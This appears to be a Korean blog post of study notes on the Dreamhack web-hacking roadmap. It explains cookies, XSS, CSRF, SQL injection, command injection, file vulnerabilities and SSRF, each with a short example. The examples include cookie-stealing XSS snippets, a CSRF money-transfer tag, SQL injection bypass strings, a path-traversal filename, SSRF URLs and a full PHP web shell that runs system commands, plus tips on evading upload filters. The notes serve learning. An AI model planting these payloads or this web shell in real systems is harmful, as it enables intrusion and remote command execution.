본문 바로가기

웹해킹/드림핵

드림핵 웹해킹 로드맵 1 정리

반응형

드림핵 웹해킹 로드맵 1 정리

오늘은 드림핵 웹해킹 로드맵 1을 정리하려고 한다. 문제는 다 풀었고, 이번에 다시 다 풀었다. 이번 글에서는 개념을 정리하려고 한다. 내일 케이쉴드 면접도 준비할 겸, 개념 학습을 해보자!

 

드림핵 웹해킹 개념학습

 

1. cookie, Session

1.1. Cookie

 쿠키는 클라이언트의 브라우저에 저장되고 요청에 포함되는 정보입니다. 따라서, 아래 예시처럼 악의적인 클라이언트는 쿠키 정보를 변조해 서버에 요청을 보낼 수 있습니다. 만약 서버가 별다른 검증 없이 쿠키를 통해 이용자의 인증 정보를 식별한다면 아래 그림과 같이 공격자가 타 이용자를 사칭해 정보를 탈취할 수 있습니다.

 

1.2. Session

 세션은 인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(유추할 수 없는 랜덤한 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동합니다. 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용합니다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인합니다.

 

2. XSS

 XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있습니다. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있습니다.

 

예시
<script>alert('123');</script>
<script>location.href="https://naver.com" </script>
<script>alert(document.cookie);</script>

2.1. Stored XSS

 사이트 게시판이나 댓글, 닉네임 등 스크립트가 서버에 저장

 

 

2.2. Reflected XXS

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생합니다. 대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있습니다. 

 

 

2.3. DOM based XSS

악성 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에서 발생하는 공격 기법이다.

 

 

3. CSRF

CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점이다. js나 html 태그를 이용해 csrf가 가능하다.

예시
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337'>

 

XSS와 CSRF의 공통점
 두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 합니다.

 


XSS와 CSRF의 차이점
 두 개의 취약점은 공격에 있어 서로 다른 목적을 가집니다. XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킵니다.

 

 

4. SQL Injection

 웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있습니다.

 

SQL Injection

로그인 검증시에 ID/PW를 포함하거나, 게시글의 제목과 내용을 SQL 구문에 포함합니다. 

예시
Select uid from user_table where uid='admin'or 1 = 1--' and upw=''

 

Blind SQL Injection

해당 공격은 인증 우회 이외에도 데이터베이스의 데이터를 알아낼 수 있습니다. 이때 사용할 수 있는 공격 기법으로는 Blind SQL Injection이 있습니다. 

 

예시
for i in range(32):
    for j in range(33,133):
        SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,i,1))=j-- ' and upw='';

 

5. Command Injection

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점을 Command Injection이라고 한다. 주로 다음과 같은 메타문자를 사용한다. 

' ' #명령어 치환
$() #명령어 치환
&& #명령어 연결
|| #명령어 연결
; #명령어 구분
| #파이프(앞 명령어 결과를 뒷 명령어가 받음.)

 

6. FILE Vulnerability

6.1. Path Traversal

 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생한다. 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다. 만약 이러한 제한이 없다면, 악의적인 이용자가 웹 서버의 소스 코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있다. Path Traversal 취약점은 업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점을 말한다.

 

예시
Content-Disposition: form-data; name="file"; filename="../hack.py"

파일 덮어쓰기 또는 RCE가 가능해진다.

 

6.2. 파일 업로드 취약점

악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 말한다. 이때 악성 파일은 웹쉘을 말한다. 웹쉘은 구글에서도 쉽게 구할 수 있다.  간단한 웹쉘 코드는 아래에 기재했다.

 

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

대부분의 웹서비스는 파일업로드 취약점을 방어하기 위해 확장자 필터링, 용량제한, conf 파일 기능 삭제 등을 진행한다. 따라서 웹쉘 파일을 txt나 img 확장자로 업로드를 해서 필터링을 우회하거나 확장자를 여러개 쓰는 등 다양한 방법으로 by pass를 한다.

 

웹쉘 실행

6.3. 파일 다운로드 취약점

웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생합니다.

 

 

7. SSRF

요즘 공공기관은 망분리를 필수적으로 하고 있고, 많은 기업에서도 DMZ, 내부망, 제어망을 따로 두는 경우가 많다. 이때 SSRF 공격을 통해 외부에서 직접 접근할 수 없는 내부망 서비스와 통신할 수 있다. 만약 공격자가 SSRF 취약점을 통해 웹 서비스의 권한으로 요청을 보낼 수 있다면 공격자는 외부에서 간접적으로 내부망 서비스를 이용할 수 있다. 

 

7.1. 이용자가 입력한 URL에 요청을 보내는 경우

예시
정상 http://127.0.0.1:8000/image_downloader?image_url=https://dreamhack.io/assets/dreamhack_logo.png
SSRF http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info

 


7.2. 웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우

INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"
@app.route("/v1/api/user/information")
def user_info():
	user_idx = request.args.get("user_idx", "")
	response = requests.get(f"{INTERNAL_API}/user/{user_idx}")

예를 들어 DMZ IP가 172.17.0.1이라고 할 때,  "172.17.0.1/v1/api/user/information?user_idx=값"으로 request를 보낼 것이다. user_idx값은 내부망으로 전달되기 때문에 실행되는 주소는 http://api.internal/user/1이다. 

 

 

728x90